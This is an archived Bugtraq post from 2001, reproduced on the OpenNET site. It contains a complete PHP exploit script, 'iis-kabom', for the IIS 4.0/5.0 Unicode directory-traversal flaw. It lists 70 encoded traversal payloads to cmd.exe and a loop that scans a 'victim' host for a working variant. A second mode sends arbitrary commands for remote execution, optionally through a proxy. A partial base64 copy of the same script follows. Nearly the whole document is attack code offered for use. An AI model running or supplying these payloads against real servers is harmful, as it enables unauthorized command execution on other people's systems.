The OpenNET Project / Index page
BSD, Linux, Cisco, Web, Palm, other unix
RUSSIAN version

Search
Хинт: Пытайтесь найти FAQ (ответы на часто задаваемые вопросы) ? На сайте существует специальный раздел Часто задаваемые вопросы.
SOFT - Unix Software catalog
LINKS - Unix resources
TOPIC - Articles from usenet
DOCUMENTATION - Unix guides
News | Tips | MAN | Forum | BUGs | LastSoft | Keywords | BOOKS (selected) | Linux HowTo | FAQ Archive

Yet another UNICODE exploit code and vulnerability test for IIS 4.0/5.0.


<< Previous INDEX Search src Set bookmark Go to bookmark Next >>
Date: Tue, 24 Jul 2001 12:10:58 +0200
From: BoloTron <bolo@mundivia.com>
To: bugtraq@securityfocus.com
Subject: Yet another UNICODE exploit code and vulnerability test for IIS 4.0/5.0.

--------------Boundary-00=_AY2ZWC8NUMSYMOLZM0QU
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 8bit

Hello all,

This is a SHELL script (not for web) written in PHP, in order to run the code 
you must download PHP source code and compile with :

./configure ; make

You'll get the cgi interperter for the script. Next step :

php -q iis-kabom

or 

php -q iis-kabom spanish

for spanish help

Regards,

BoloTron


--------------------------------------------------------------------
------------- (c) UNICODE exploit for IIS 5.0/4.0 by BoloTron-----------
--------------------------------------------------------------------
 
Usage of the wicked device:
./iis-kabom -t www.victim.vic
./iis-kabom -t www.victim.vic -p proxy:port
./iis-kabom  www.victim.vic comand variant_number
./iis-kabom -p proxy:port www.victim.vic comand variant_number
Options:
-t --> Test the vulnerability (Try known variants till find the good one)
-p --> Attack through proxy
 
Use Mode:
1) Test the host and get the variants number in case vulnerability exists
2) Attack with command and variants number (optionaly you can use proxy)
Note : When you specify a command with spaces, replace spaces with low script 
 "_"
and you must double the backslash "\".
  Example./iis-kabom -p proxy.prx:3128 www.victima.com dir_c:\\inetpub 49
Thanks to An-tonio for the proxy support.
Bug discover by Anonymous Post.
TYPE ./iis-kabom spanish, for Spanish help.


THE CODE.


---------------------cut here
#!php -q
<?
                 
$vector_ataque[0]="/msadc/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+";
                 
$vector_ataque[1]="/msadc/..%25%35%63../..%25%35%63../..%25%35%63../winnt/system32/cmd.exe?/c+";
                 
$vector_ataque[2]="/msadc/..%255c..%255c..%255c..%255cwinnt/system32/cmd.exe?/c+";
                 
$vector_ataque[3]="/msadc/..%25%35%63..%25%35%63..%25%35%63..%25%35%63winnt/system32/cmd.exe?/c+";
                 
$vector_ataque[4]="/scripts/..%255c..%255cwinnt/system32/cmd.exe?/c+";
                 
$vector_ataque[5]="/scripts/..%252f..%252f..%252f..%252fwinnt/system32/cmd.exe?/c+";
                 
$vector_ataque[6]="/scripts/..%255c..%255cwinnt/system32/cmd.exe?/c+";
                 
$vector_ataque[7]="/msadc/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+";
                 
$vector_ataque[8]="/msadc/..%%35c../..%%35c../..%%35c../winnt/system32/cmd.exe?/c+";
                 
$vector_ataque[9]="/msadc/..%%35%63../..%%35%63../..%%35%63../winnt/system32/cmd.exe?/c+";
                 
$vector_ataque[10]="/msadc/..%25%35%63../..%25%35%63../..%25%35%63../winnt/system32/cmd.exe?/c+";
                 
$vector_ataque[11]="/MSADC/..%255c..%255c..%255c..%255cwinnt/system32/cmd.exe?/c+";
                 
$vector_ataque[12]="/MSADC/..%%35c..%%35c..%%35c..%%35cwinnt/system32/cmd.exe?/c+";
                 
$vector_ataque[13]="/MSADC/..%%35%63..%%35%63..%%35%63..%%35%63winnt/system32/cmd.exe?/c+";
                 
$vector_ataque[14]="/MSADC/..%25%35%63..%25%35%63..%25%35%63..%25%35%63winnt/system32/cmd.exe?/c+";
                 
$vector_ataque[15]="/_vti_bin/..%255c..%255c..%255c..%255c..%255c../winnt/system32/cmd.exe?/c+";
                 
$vector_ataque[16]="/_vti_bin/..%%35c..%%35c..%%35c..%%35c..%%35c../winnt/system32/cmd.exe?/c+";
                 
$vector_ataque[17]="/_vti_bin/..%%35%63..%%35%63..%%35%63..%%35%63..%%35%63../winnt/system32/cmd.exe?/c+";
                 
$vector_ataque[18]="/_vti_bin/..%25%35%63..%25%35%63..%25%35%63..%25%35%63..%25%35%63../winnt/system32/cmd.exe?/c+";
                 
$vector_ataque[19]="/PBServer/..%255c..%255c..%255cwinnt/system32/cmd.exe?/c+";
                 
$vector_ataque[20]="/PBServer/..%%35c..%%35c..%%35cwinnt/system32/cmd.exe?/c+";
                 
$vector_ataque[21]="/PBServer/..%%35%63..%%35%63..%%35%63winnt/system32/cmd.exe?/c+";
                 
$vector_ataque[22]="/PBServer/..%25%35%63..%25%35%63..%25%35%63winnt/system32/cmd.exe?/c+";
                 
$vector_ataque[23]="/Rpc/..%255c..%255c..%255cwinnt/system32/cmd.exe?/c+";
                 
$vector_ataque[24]="/Rpc/..%%35c..%%35c..%%35cwinnt/system32/cmd.exe?/c+";
                 
$vector_ataque[25]="/Rpc/..%%35%63..%%35%63..%%35%63winnt/system32/cmd.exe?/c+";
                 
$vector_ataque[26]="/Rpc/..%25%35%63..%25%35%63..%25%35%63winnt/system32/cmd.exe?/c+";
                 
$vector_ataque[27]="/_vti_bin/..%255c..%255c..%255c..%255c..%255c../winnt/system32/cmd.exe?/c+";
                 
$vector_ataque[28]="/_vti_bin/..%%35c..%%35c..%%35c..%%35c..%%35c../winnt/system32/cmd.exe?/c+";
                 
$vector_ataque[29]="/_vti_bin/..%%35%63..%%35%63..%%35%63..%%35%63..%%35%63../winnt/system32/cmd.exe?/c+";
                 
$vector_ataque[30]="/_vti_bin/..%25%35%63..%25%35%63..%25%35%63..%25%35%63..%25%35%63../winnt/system32/cmd.exe?/c+";
                 
$vector_ataque[31]="/samples/..%255c..%255c..%255c..%255c..%255c..%255cwinnt/system32/cmd.exe?/c+";
                 
$vector_ataque[32]="/cgi-bin/..%255c..%255c..%255c..%255c..%255c..%255cwinnt/system32/cmd.exe?/c+";
                 
$vector_ataque[33]="/iisadmpwd/..%252f..%252f..%252f..%252f..%252f..%252fwinnt/system32/cmd.exe?/c+";
                 
$vector_ataque[34]="/_vti_cnf/..%255c..%255c..%255c..%255c..%255c..%255cwinnt/system32/cmd.exe?/c+";
                 
$vector_ataque[35]="/adsamples/..%255c..%255c..%255c..%255c..%255c..%255cwinnt/system32/cmd.exe?/c+";
                 
$vector_ataque[36]="/scripts/..%C1%1C..%C1%1C..%C1%1C..%C1%1Cwinnt/system32/cmd.exe?/c+";
                 
$vector_ataque[37]="/scripts/..%C1%9C..%C1%9C..%C1%9C..%C1%9Cwinnt/system32/cmd.exe?/c+";
                 
$vector_ataque[38]="/scripts/..%C0%AF..%C0%AF..%C0%AF..%C0%AFwinnt/system32/cmd.exe?/c+";
                 
$vector_ataque[39]="/scripts/..%252f..%252f..%252f..%252fwinnt/system32/cmd.exe?/c+";
                 
$vector_ataque[40]="/scripts/..%255c..%255cwinnt/system32/cmd.exe?/c+";
                 
$vector_ataque[41]="/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+";
                 
$vector_ataque[42]="/scripts/..%c0%9v../winnt/system32/cmd.exe?/c+";
                 
$vector_ataque[43]="/scripts/..%c0%af../winnt/system32/cmd.exe?/c+";
                 
$vector_ataque[44]="/scripts/..%c0%qf../winnt/system32/cmd.exe?/c+";
                 
$vector_ataque[45]="/scripts/..%c1%8s../winnt/system32/cmd.exe?/c+";
                 
$vector_ataque[46]="/scripts/..%c1%9c../winnt/system32/cmd.exe?/c+";
                 
$vector_ataque[47]="/scripts/..%c1%pc../winnt/system32/cmd.exe?/c+";
                 
$vector_ataque[48]="/msadc/..%c0%af../..%c0%af../..%c0%af../winnt/system32/cmd.exe?/c+";
                 
$vector_ataque[49]="/_vti_bin/..%c0%af../..%c0%af../..%c0%af../winnt/system32/cmd.exe?/c+";
                 
$vector_ataque[50]="/scripts/..%c0%af../winnt/system32/cmd.exe?/c+";
                 
$vector_ataque[51]="/scripts..%c1%9c../winnt/system32/cmd.exe?/c+";
                 
$vector_ataque[52]="/scripts/..%c1%pc../winnt/system32/cmd.exe?/c+";
                 
$vector_ataque[53]="/scripts/..%c0%9v../winnt/system32/cmd.exe?/c+";
                 
$vector_ataque[54]="/scripts/..%c0%qf../winnt/system32/cmd.exe?/c+";
                 
$vector_ataque[55]="/scripts/..%c1%8s../winnt/system32/cmd.exe?/c+";
                 
$vector_ataque[56]="/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+";
                 
$vector_ataque[57]="/scripts/..%c1%9c../winnt/system32/cmd.exe?/c+";
                 
$vector_ataque[58]="/scripts/..%c1%af../winnt/system32/cmd.exe?/c+";
                 
$vector_ataque[59]="/scripts/..%e0%80%af../winnt/system32/cmd.exe?/c+";
                 
$vector_ataque[60]="/scripts/..%f0%80%80%af../winnt/system32/cmd.exe?/c+";
                 
$vector_ataque[61]="/scripts/..%f8%80%80%80%af../winnt/system32/cmd.exe?/c+";
                 
$vector_ataque[62]="/scripts/..%fc%80%80%80%80%af../winnt/system32/cmd.exe?/c+";
                 
$vector_ataque[63]="/msadc/..\%e0\%80\%af../..\%e0\%80\%af../..\%e0\%80\%af../winnt/system32/cmd.exe\?/c+";
                 
$vector_ataque[64]="/cgi-bin/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe?/c+";
                 
$vector_ataque[65]="/samples/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe?/c+";
                 
$vector_ataque[66]="/iisadmpwd/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe?/c+";
                 
$vector_ataque[67]="/_vti_cnf/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe?/c+";
                 
$vector_ataque[68]="/_vti_bin/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe?/c+";
                 
$vector_ataque[69]="/adsamples/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe?/c+";
	if(!isset($argv[1]))
	{
		echo 
"\n\n--------------------------------------------------------------------\n";
		echo "------------- (c) UNICODE exploit for IIS 5.0/4.0 by BoloTron 
------\n";
		echo 
"--------------------------------------------------------------------\n\n";
		echo "Usage of the wicked device:\n";
		echo $argv[0]." -t www.victim.vic\n";
		echo $argv[0]." -t www.victim.vic -p proxy:port\n";
		echo $argv[0]."  www.victim.vic comand variant_number\n";
		echo $argv[0]." -p proxy:port www.victim.vic comand variant_number\n";
		echo "Options:\n";
		echo "-t --> Test the vulnerability (Try known variants till find the good 
one)\n";
		echo "-p --> Attack through proxy\n"; 
		echo "\nUse Mode:\n1) Test the host and get the variants number in case 
vulnerability exists\n";
		echo "2) Attack with command and variants number (optionaly you can use 
proxy)\n";
 	        echo "Note : When you specify a command with spaces, replace spaces 
with low script  \"_\" \n";
                echo "and you must double the backslash \"\\\". \n  
Example".$argv[0]." -p proxy.prx:3128 www.victima.com dir_c:\\\\inetpub 49\n";
		echo "Thanks to An-tonio for the proxy support.\n";
		echo "Bug discover by Anonymous Post.\n";
		echo "TYPE ".$argv[0]." spanish, for Spanish help.\n";
	}
	else
	{
		if($argv[1]=="spanish")
		{
                echo 
"\n\n--------------------------------------------------------------------\n";
                echo "------------- (c) Exploit UNICODE para IIS 5.0/4.0 por 
BoloTron ----\n";
                echo 
"--------------------------------------------------------------------\n\n";
                echo "Uso del artefacto maligno :\n";

                echo $argv[0]." -t www.victima.vic\n";
                echo $argv[0]." -t www.victima.vic -p proxy:puerto\n";
                echo $argv[0]."  www.victima.vic comando n╨_de_variante\n";
                echo $argv[0]." -p proxy:port www.victima.vic comand 
n╨_de_variante\n";
                echo "Opciones:\n";
                echo "-t --> Testea la vulnerabilidad, prueba todas las 
variantes hasta encontrar una buena.\n";
                echo "-p --> Ataque a traves de proxy\n";
                echo "\nModo de Empleo:\n1) Testear el host y anotar el 
numero de variante en caso de ser vulnerable\n";
                echo "2) Atacar especificando comando y n╨ de variante 
(opcionalmente puedes especificar un proxy)\n";
                echo "Nota : Cuando se especifica un comando en el que hay 
espacios hay que sustituirlos por un guion bajo _ \n";
                echo "y las contrabarras hay que ponerlas dobles. \nEjemplo : 
".$argv[0]." -p proxy.prx:3128 www.victima.com dir_c:\\\\inetpub 49\n";
		echo "Gracias a An-tonio por sus indicaciones en el soporte proxy.\n";
		echo "Bug descubierto por aviso anonimo.\n";
		exit;
		}		
		if($argv[1]=="-t")
		{
			if ($argv[3]=="-p")
			{
                        for($i=0;$i<70;$i++)
                        {
                                $prox=explode(":",$argv[4]);
                                $comando="dir+c:\\";
                                $fp = fsockopen($prox[0], $prox[1]);
                                if(!$fp)
                                {
                                        echo "Conection failed...\n";
                                }
                                else
                                {
                                        fputs($fp,"GET 
http://".$argv[2]."".$vector_ataque[$i]."".$comando." HTTP/1.0\n\n");
                                        echo "Trying variant number ".$i." ";
                                        while(!feof($fp))
                                        {
                                                $resul=$resul.fgets($fp,128);
                                        }
                                        if (ereg("<DIR>", $resul))
                                        {
                                                echo "-----> Vulnerable!!\n";
                                                exit;
                                        }
                                        else
                                        {
                                                echo "-----> NoT Vulnerable 
:(\n";
                                        }
 
                                }
                                fclose($fp);					
			}
			}
			else
			{
	 		for($i=0;$i<70;$i++)
			{
				$port=80;
                        	$comando="dir+c:\\";
                        	$fp = fsockopen($argv[2], $port);
                        	if(!$fp)
                        	{
                        	        echo "Conection failed...\n";
                        	}
                        	else
                        	{
                        	        fputs($fp,"GET 
".$vector_ataque[$i]."".$comando." HTTP/1.0\n\n");
					echo "Trying variant number ".$i." ";
                        	        while(!feof($fp))
                        	        {
                        	                $resul=$resul.fgets($fp,128);
                        	        }
					if (ereg("<DIR>", $resul))
					{
						echo "-----> vulnerable!!\n";
						exit;
					}
					else
					{
						echo "-----> No Vulnerable :(\n";
					}
					
                        	}
                        	fclose($fp);
			}
			}	
		}
		else
		{
			if($argv[1]=="-p")
			{
                                $prox=explode(":",$argv[2]);
				$port=$prox[1];
                                $comando=ereg_replace("_","+",$argv[4]);
                                $fp = fsockopen($prox[0], $port);

                                if(!$fp)
                                {
                                        echo "Conection failed.\n";
                                }
                                else
                                {
                                        fputs($fp,"GET 
http://".$argv[3]."".$vector_ataque[$argv[5]]."".$comando." HTTP/1.0\n\n");
                                        while(!feof($fp))
                                        {
                                                echo fgets($fp,128);
                                        }
                                }
                                fclose($fp);			

			}
			else
			{
				$port=80;
				$comando=ereg_replace("_","+",$argv[2]);
				$fp = fsockopen($argv[1], $port);
				if(!$fp)
				{
					echo "Conection failed.\n";
				}		
				else
				{
					fputs($fp,"GET ".$vector_ataque[$argv[3]]."".$comando." HTTP/1.0\n\n");
					while(!feof($fp))
					{
						echo fgets($fp,128);
					}
				}	
				fclose($fp);
			}
		} 
		
		
		
		
	}
?>
		
---------- cut here




 
--------------Boundary-00=_AY2ZWC8NUMSYMOLZM0QU
Content-Type: text/plain;
  charset="iso-8859-1";
  name="iis-kabom"
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename="iis-kabom"

IyFwaHAgLXEKPD8KICAgICAgICAgICAgICAgICAkdmVjdG9yX2F0YXF1ZVswXT0iL21zYWRjLy4u
JTI1NWMuLi8uLiUyNTVjLi4vLi4lMjU1Yy4uL3dpbm50L3N5c3RlbTMyL2NtZC5leGU/L2MrIjsK
ICAgICAgICAgICAgICAgICAkdmVjdG9yX2F0YXF1ZVsxXT0iL21zYWRjLy4uJTI1JTM1JTYzLi4v
Li4lMjUlMzUlNjMuLi8uLiUyNSUzNSU2My4uL3dpbm50L3N5c3RlbTMyL2NtZC5leGU/L2MrIjsK
ICAgICAgICAgICAgICAgICAkdmVjdG9yX2F0YXF1ZVsyXT0iL21zYWRjLy4uJTI1NWMuLiUyNTVj
Li4lMjU1Yy4uJTI1NWN3aW5udC9zeXN0ZW0zMi9jbWQuZXhlPy9jKyI7CiAgICAgICAgICAgICAg
ICAgJHZlY3Rvcl9hdGFxdWVbM109Ii9tc2FkYy8uLiUyNSUzNSU2My4uJTI1JTM1JTYzLi4lMjUl
MzUlNjMuLiUyNSUzNSU2M3dpbm50L3N5c3RlbTMyL2NtZC5leGU/L2MrIjsKICAgICAgICAgICAg
ICAgICAkdmVjdG9yX2F0YXF1ZVs0XT0iL3NjcmlwdHMvLi4lMjU1Yy4uJTI1NWN3aW5udC9zeXN0
ZW0zMi9jbWQuZXhlPy9jKyI7CiAgICAgICAgICAgICAgICAgJHZlY3Rvcl9hdGFxdWVbNV09Ii9z
Y3JpcHRzLy4uJTI1MmYuLiUyNTJmLi4lMjUyZi4uJTI1MmZ3aW5udC9zeXN0ZW0zMi9jbWQuZXhl
Py9jKyI7CiAgICAgICAgICAgICAgICAgJHZlY3Rvcl9hdGFxdWVbNl09Ii9zY3JpcHRzLy4uJTI1
NWMuLiUyNTVjd2lubnQvc3lzdGVtMzIvY21kLmV4ZT8vYysiOwogICAgICAgICAgICAgICAgICR2
ZWN0b3JfYXRhcXVlWzddPSIvbXNhZGMvLi4lMjU1Yy4uLy4uJTI1NWMuLi8uLiUyNTVjLi4vd2lu
bnQvc3lzdGVtMzIvY21kLmV4ZT8vYysiOwogICAgICAgICAgICAgICAgICR2ZWN0b3JfYXRhcXVl
WzhdPSIvbXNhZGMvLi4lJTM1Yy4uLy4uJSUzNWMuLi8uLiUlMzVjLi4vd2lubnQvc3lzdGVtMzIv
Y21kLmV4ZT8vYysiOwogICAgICAgICAgICAgICAgICR2ZWN0b3JfYXRhcXVlWzldPSIvbXNhZGMv
Li4lJTM1JTYzLi4vLi4lJTM1JTYzLi4vLi4lJTM1JTYzLi4vd2lubnQvc3lzdGVtMzIvY21kLmV4
ZT8vYysiOwogICAgICAgICAgICAgICAgICR2ZWN0b3JfYXRhcXVlWzEwXT0iL21zYWRjLy4uJTI1
JTM1JTYzLi4vLi4lMjUlMzUlNjMuLi8uLiUyNSUzNSU2My4uL3dpbm50L3N5c3RlbTMyL2NtZC5l
eGU/L2MrIjsKICAgICAgICAgICAgICAgICAkdmVjdG9yX2F0YXF1ZVsxMV09Ii9NU0FEQy8uLiUy
NTVjLi4lMjU1Yy4uJTI1NWMuLiUyNTVjd2lubnQvc3lzdGVtMzIvY21kLmV4ZT8vYysiOwogICAg
ICAgICAgICAgICAgICR2ZWN0b3JfYXRhcXVlWzEyXT0iL01TQURDLy4uJSUzNWMuLiUlMzVjLi4l
JTM1Yy4uJSUzNWN3aW5udC9zeXN0ZW0zMi9jbWQuZXhlPy9jKyI7CiAgICAgICAgICAgICAgICAg
JHZlY3Rvcl9hdGFxdWVbMTNdPSIvTVNBREMvLi4lJTM1JTYzLi4lJTM1JTYzLi4lJTM1JTYzLi4l
JTM1JTYzd2lubnQvc3lzdGVtMzIvY21kLmV4ZT8vYysiOwogICAgICAgICAgICAgICAgICR2ZWN0
b3JfYXRhcXVlWzE0XT0iL01TQURDLy4uJTI1JTM1JTYzLi4lMjUlMzUlNjMuLiUyNSUzNSU2My4u
JTI1JTM1JTYzd2lubnQvc3lzdGVtMzIvY21kLmV4ZT8vYysiOwogICAgICAgICAgICAgICAgICR2
ZWN0b3JfYXRhcXVlWzE1XT0iL192dGlfYmluLy4uJTI1NWMuLiUyNTVjLi4lMjU1Yy4uJTI1NWMu
LiUyNTVjLi4vd2lubnQvc3lzdGVtMzIvY21kLmV4ZT8vYysiOwogICAgICAgICAgICAgICAgICR2
ZWN0b3JfYXRhcXVlWzE2XT0iL192dGlfYmluLy4uJSUzNWMuLiUlMzVjLi4lJTM1Yy4uJSUzNWMu
LiUlMzVjLi4vd2lubnQvc3lzdGVtMzIvY21kLmV4ZT8vYysiOwogICAgICAgICAgICAgICAgICR2
ZWN0b3JfYXRhcXVlWzE3XT0iL192dGlfYmluLy4uJSUzNSU2My4uJSUzNSU2My4uJSUzNSU2My4u
JSUzNSU2My4uJSUzNSU2My4uL3dpbm50L3N5c3RlbTMyL2NtZC5leGU/L2MrIjsKICAgICAgICAg
ICAgICAgICAkdmVjdG9yX2F0YXF1ZVsxOF09Ii9fdnRpX2Jpbi8uLiUyNSUzNSU2My4uJTI1JTM1
JTYzLi4lMjUlMzUlNjMuLiUyNSUzNSU2My4uJTI1JTM1JTYzLi4vd2lubnQvc3lzdGVtMzIvY21k
LmV4ZT8vYysiOwogICAgICAgICAgICAgICAgICR2ZWN0b3JfYXRhcXVlWzE5XT0iL1BCU2VydmVy
Ly4uJTI1NWMuLiUyNTVjLi4lMjU1Y3dpbm50L3N5c3RlbTMyL2NtZC5leGU/L2MrIjsKICAgICAg
ICAgICAgICAgICAkdmVjdG9yX2F0YXF1ZVsyMF09Ii9QQlNlcnZlci8uLiUlMzVjLi4lJTM1Yy4u
JSUzNWN3aW5udC9zeXN0ZW0zMi9jbWQuZXhlPy9jKyI7CiAgICAgICAgICAgICAgICAgJHZlY3Rv
cl9hdGFxdWVbMjFdPSIvUEJTZXJ2ZXIvLi4lJTM1JTYzLi4lJTM1JTYzLi4lJTM1JTYzd2lubnQv
c3lzdGVtMzIvY21kLmV4ZT8vYysiOwogICAgICAgICAgICAgICAgICR2ZWN0b3JfYXRhcXVlWzIy
XT0iL1BCU2VydmVyLy4uJTI1JTM1JTYzLi4lMjUlMzUlNjMuLiUyNSUzNSU2M3dpbm50L3N5c3Rl
bTMyL2NtZC5leGU/L2MrIjsKICAgICAgICAgICAgICAgICAkdmVjdG9yX2F0YXF1ZVsyM109Ii9S
cGMvLi4lMjU1Yy4uJTI1NWMuLiUyNTVjd2lubnQvc3lzdGVtMzIvY21kLmV4ZT8vYysiOwogICAg
ICAgICAgICAgICAgICR2ZWN0b3JfYXRhcXVlWzI0XT0iL1JwYy8uLiUlMzVjLi4lJTM1Yy4uJSUz
NWN3aW5udC9zeXN0ZW0zMi9jbWQuZXhlPy9jKyI7CiAgICAgICAgICAgICAgICAgJHZlY3Rvcl9h
dGFxdWVbMjVdPSIvUnBjLy4uJSUzNSU2My4uJSUzNSU2My4uJSUzNSU2M3dpbm50L3N5c3RlbTMy
L2NtZC5leGU/L2MrIjsKICAgICAgICAgICAgICAgICAkdmVjdG9yX2F0YXF1ZVsyNl09Ii9ScGMv
Li4lMjUlMzUlNjMuLiUyNSUzNSU2My4uJTI1JTM1JTYzd2lubnQvc3lzdGVtMzIvY21kLmV4ZT8v
YysiOwogICAgICAgICAgICAgICAgICR2ZWN0b3JfYXRhcXVlWzI3XT0iL192dGlfYmluLy4uJTI1
NWMuLiUyNTVjLi4lMjU1Yy4uJTI1NWMuLiUyNTVjLi4vd2lubnQvc3lzdGVtMzIvY21kLmV4ZT8v
YysiOwogICAgICAgICAgICAgICAgICR2ZWN0b3JfYXRhcXVlWzI4XT0iL192dGlfYmluLy4uJSUz
NWMuLiUlMzVjLi4lJTM1Yy4uJSUzNWMuLiUlMzVjLi4vd2lubnQvc3lzdGVtMzIvY21kLmV4ZT8v
YysiOwogICAgICAgICAgICAgICAgICR2ZWN0b3JfYXRhcXVlWzI5XT0iL192dGlfYmluLy4uJSUz
NSU2My4uJSUzNSU2My4uJSUzNSU2My4uJSUzNSU2My4uJSUzNSU2My4uL3dpbm50L3N5c3RlbTMy
L2NtZC5leGU/L2MrIjsKICAgICAgICAgICAgICAgICAkdmVjdG9yX2F0YXF1ZVszMF09Ii9fdnRp
X2Jpbi8uLiUyNSUzNSU2My4uJTI1JTM1JTYzLi4lMjUlMzUlNjMuLiUyNSUzNSU2My4uJTI1JTM1
JTYzLi4vd2lubnQvc3lzdGVtMzIvY21kLmV4ZT8vYysiOwogICAgICAgICAgICAgICAgICR2ZWN0
b3JfYXRhcXVlWzMxXT0iL3NhbXBsZXMvLi4lMjU1Yy4uJTI1NWMuLiUyNTVjLi4lMjU1Yy4uJTI1
NWMuLiUyNTVjd2lubnQvc3lzdGVtMzIvY21kLmV4ZT8vYysiOwogICAgICAgICAgICAgICAgICR2
ZWN0b3JfYXRhcXVlWzMyXT0iL2NnaS1iaW4vLi4lMjU1Yy4uJTI1NWMuLiUyNTVjLi4lMjU1Yy4u
JTI1NWMuLiUyNTVjd2lubnQvc3lzdGVtMzIvY21kLmV4ZT8vYysiOwogICAgICAgICAgICAgICAg
ICR2ZWN0b3JfYXRhcXVlWzMzXT0iL2lpc2FkbXB3ZC8uLiUyNTJmLi4lMjUyZi4uJTI1MmYuLiUy
NTJmLi4lMjUyZi4uJTI1MmZ3aW5udC9zeXN0ZW0zMi9jbWQuZXhlPy9jKyI7CiAgICAgICAgICAg
ICAgICAgJHZlY3Rvcl9hdGFxdWVbMzRdPSIvX3Z0aV9jbmYvLi4lMjU1Yy4uJTI1NWMuLiUyNTVj
Li4lMjU1Yy4uJTI1NWMuLiUyNTVjd2lubnQvc3lzdGVtMzIvY21kLmV4ZT8vYysiOwogICAgICAg
ICAgICAgICAgICR2ZWN0b3JfYXRhcXVlWzM1XT0iL2Fkc2FtcGxlcy8uLiUyNTVjLi4lMjU1Yy4u
JTI1NWMuLiUyNTVjLi4lMjU1Yy4uJTI1NWN3aW5udC9zeXN0ZW0zMi9jbWQuZXhlPy9jKyI7CiAg
ICAgICAgICAgICAgICAgJHZlY3Rvcl9hdGFxdWVbMzZdPSIvc2NyaXB0cy8uLiVDMSUxQy4uJUMx
JTFDLi4lQzElMUMuLiVDMSUxQ3dpbm50L3N5c3RlbTMyL2NtZC5leGU/L2MrIjsKICAgICAgICAg
ICAgICAgICAkdmVjdG9yX2F0YXF1ZVszN109Ii9zY3JpcHRzLy4uJUMxJTlDLi4lQzElOUMuLiVD
MSU5Qy4uJUMxJTlDd2lubnQvc3lzdGVtMzIvY21kLmV4ZT8vYysiOwogICAgICAgICAgICAgICAg
ICR2ZWN0b3JfYXRhcXVlWzM4XT0iL3NjcmlwdHMvLi4lQzAlQUYuLiVDMCVBRi4uJUMwJUFGLi4l
QzAlQUZ3aW5udC9zeXN0ZW0zMi9jbWQuZXhlPy9jKyI7CiAgICAgICAgICAgICAgICAgJHZlY3Rv
cl9hdGFxdWVbMzldPSIvc2NyaXB0cy8uLiUyNTJmLi4lMjUyZi4uJTI1MmYuLiUyNTJmd2lubnQv
c3lzdGVtMzIvY21kLmV4ZT8vYysiOwogICAgICAgICAgICAgICAgICR2ZWN0b3JfYXRhcXVlWzQw
XT0iL3NjcmlwdHMvLi4lMjU1Yy4uJTI1NWN3aW5udC9zeXN0ZW0zMi9jbWQuZXhlPy9jKyI7CiAg
ICAgICAgICAgICAgICAgJHZlY3Rvcl9hdGFxdWVbNDFdPSIvc2NyaXB0cy8uLiVjMSUxYy4uL3dp
bm50L3N5c3RlbTMyL2NtZC5leGU/L2MrIjsKICAgICAgICAgICAgICAgICAkdmVjdG9yX2F0YXF1
ZVs0Ml09Ii9zY3JpcHRzLy4uJWMwJTl2Li4vd2lubnQvc3lzdGVtMzIvY21kLmV4ZT8vYysiOwog
ICAgICAgICAgICAgICAgICR2ZWN0b3JfYXRhcXVlWzQzXT0iL3NjcmlwdHMvLi4lYzAlYWYuLi93
aW5udC9zeXN0ZW0zMi9jbWQuZXhlPy9jKyI7CiAgICAgICAgICAgICAgICAgJHZlY3Rvcl9hdGFx
dWVbNDRdPSIvc2NyaXB0cy8uLiVjMCVxZi4uL3dpbm50L3N5c3RlbTMyL2NtZC5leGU/L2MrIjsK
ICAgICAgICAgICAgICAgICAkdmVjdG9yX2F0YXF1ZVs0NV09Ii9zY3JpcHRzLy4uJWMxJThzLi4v
d2lubnQvc3lzdGVtMzIvY21kLmV4ZT8vYysiOwogICAgICAgICAgICAgICAgICR2ZWN0b3JfYXRh
cXVlWzQ2XT0iL3NjcmlwdHMvLi4lYzElOWMuLi93aW5udC9zeXN0ZW0zMi9jbWQuZXhlPy9jKyI7
CiAgICAgICAgICAgICAgICAgJHZlY3Rvcl9hdGFxdWVbNDddPSIvc2NyaXB0cy8uLiVjMSVwYy4u
L3dpbm50L3N5c3RlbTMyL2NtZC5leGU/L2MrIjsKICAgICAgICAgICAgICAgICAkdmVjdG9yX2F0
YXF1ZVs0OF09Ii9tc2FkYy8uLiVjMCVhZi4uLy4uJWMwJWFmLi4vLi4lYzAlYWYuLi93aW5udC9z
eXN0ZW0zMi9jbWQuZXhlPy9jKyI7CiAgICAgICAgICAgICAgICAgJHZlY3Rvcl9hdGFxdWVbNDld
PSIvX3Z0aV9iaW4vLi4lYzAlYWYuLi8uLiVjMCVhZi4uLy4uJWMwJWFmLi4vd2lubnQvc3lzdGVt
MzIvY21kLmV4ZT8vYysiOwogICAgICAgICAgICAgICAgICR2ZWN0b3JfYXRhcXVlWzUwXT0iL3Nj
cmlwdHMvLi4lYzAlYWYuLi93aW5udC9zeXN0ZW0zMi9jbWQuZXhlPy9jKyI7CiAgICAgICAgICAg
ICAgICAgJHZlY3Rvcl9hdGFxdWVbNTFdPSIvc2NyaXB0cy4uJWMxJTljLi4vd2lubnQvc3lzdGVt
MzIvY21kLmV4ZT8vYysiOwogICAgICAgICAgICAgICAgICR2ZWN0b3JfYXRhcXVlWzUyXT0iL3Nj
cmlwdHMvLi4lYzElcGMuLi93aW5udC9zeXN0ZW0zMi9jbWQuZXhlPy9jKyI7CiAgICAgICAgICAg
ICAgICAgJHZlY3Rvcl9hdGFxdWVbNTNdPSIvc2NyaXB0cy8uLiVjMCU5di4uL3dpbm50L3N5c3Rl
bTMyL2NtZC5leGU/L2MrIjsKICAgICAgICAgICAgICAgICAkdmVjdG9yX2F0YXF1ZVs1NF09Ii9z
Y3JpcHRzLy4uJWMwJXFmLi4vd2lubnQvc3lzdGVtMzIvY21kLmV4ZT8vYysiOwogICAgICAgICAg
ICAgICAgICR2ZWN0b3JfYXRhcXVlWzU1XT0iL3NjcmlwdHMvLi4lYzElOHMuLi93aW5udC9zeXN0
